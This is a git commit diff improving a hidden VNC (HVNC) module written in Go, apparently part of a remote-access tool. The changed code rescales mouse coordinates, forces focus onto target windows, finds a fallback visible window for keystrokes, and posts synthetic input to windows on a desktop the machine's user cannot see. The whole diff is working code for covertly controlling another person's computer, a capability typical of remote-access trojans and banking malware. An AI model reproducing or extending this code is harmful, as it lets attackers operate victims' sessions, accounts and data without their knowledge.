huge HVNC imporvements

This commit is contained in:
KingKDot
2026-03-17 23:55:39 -05:00
parent 746939c396
commit d381dbdc64
7 changed files with 180 additions and 106 deletions
@@ -6,6 +6,7 @@ import (
"fmt"
"image"
"log"
"math"
"runtime"
"strings"
"sync"
@@ -170,6 +171,7 @@ var (
hvncCurrentTaskID atomic.Uint64
hvncCurrentTaskKind atomic.Int64
hvncCurrentTaskNs atomic.Int64
hvncLastScale atomic.Uint64 // float64 bits — scale used by last HVNC capture
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
hvncWinCache map[uintptr]*hvncWinCacheEntry
@@ -385,6 +387,7 @@ func CleanupHVNCDesktop() {
hvncHasCursor = false
hvncWorkingWindow = 0
hvncInputMu.Unlock()
hvncLastScale.Store(0)
if hvncDesktopHandle != 0 {
if hvncOriginalDesktop != 0 {
@@ -731,6 +734,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
}
userScale := effectiveScale(srcW, srcH)
hvncLastScale.Store(math.Float64bits(userScale))
dstW := int(float64(srcW) * userScale)
dstH := int(float64(srcH) * userScale)
if dstW <= 0 || dstH <= 0 {
@@ -930,6 +934,13 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
return nil
}
if bits := hvncLastScale.Load(); bits != 0 {
if s := math.Float64frombits(bits); s > 0 && s < 1 {
x = int32(float64(x) / s)
y = int32(float64(y) / s)
}
}
absX := bounds.Min.X + int(x)
absY := bounds.Min.Y + int(y)
if absX < bounds.Min.X {
@@ -954,7 +965,14 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
pt := point{x: int32(absX), y: int32(absY)}
hitHwnd := windowFromPoint(pt)
if hitHwnd != 0 {
root := rootWindow(hitHwnd)
prevWorking := getWorkingWindow()
rememberWorkingWindow(hitHwnd)
if prevWorking == 0 || rootWindow(prevWorking) != root {
procSetForegroundWindow.Call(root)
procSetActiveWindow.Call(root)
procSetFocus.Call(hitHwnd)
}
clientPt := pt
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
@@ -969,13 +987,23 @@ func hvncMouseButtonOnThread(button int, down bool) error {
endHVNCWindowDrag(pt)
}
setMouseButton(button, down)
hitHwnd := windowFromPoint(pt)
if hitHwnd == 0 {
return nil
}
root := rootWindow(hitHwnd)
prevWorking := getWorkingWindow()
rememberWorkingWindow(hitHwnd)
if down && (prevWorking == 0 || rootWindow(prevWorking) != root) {
procSetForegroundWindow.Call(root)
procSetActiveWindow.Call(root)
procSetFocus.Call(hitHwnd)
}
if button == 0 {
lparam := makeLParam(pt.x, pt.y)
hitTest := safeNCHitTest(hitHwnd, lparam)
@@ -1065,10 +1093,20 @@ func hvncKeyOnThread(vk uint16, down bool) error {
if hwnd == 0 {
hwnd = getWorkingWindow()
}
if hwnd == 0 {
hwnd = findAnyVisibleTopLevelWindow()
}
if hwnd == 0 {
return nil
}
rememberWorkingWindow(rootWindow(hwnd))
root := rootWindow(hwnd)
prevWorking := getWorkingWindow()
rememberWorkingWindow(root)
if prevWorking == 0 || rootWindow(prevWorking) != root {
procSetForegroundWindow.Call(root)
procSetActiveWindow.Call(root)
procSetFocus.Call(hwnd)
}
updateModifierState(vk, down)
if isModifierVK(vk) {
@@ -1094,6 +1132,17 @@ func foregroundWindow() uintptr {
return r
}
func findAnyVisibleTopLevelWindow() uintptr {
hwnd := getTopWindow(0)
for hwnd != 0 {
if isWindowVisible(hwnd) {
return hwnd
}
hwnd = getWindow(hwnd, GW_HWNDNEXT)
}
return 0
}
func makeLParam(x, y int32) uintptr {
return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF))
}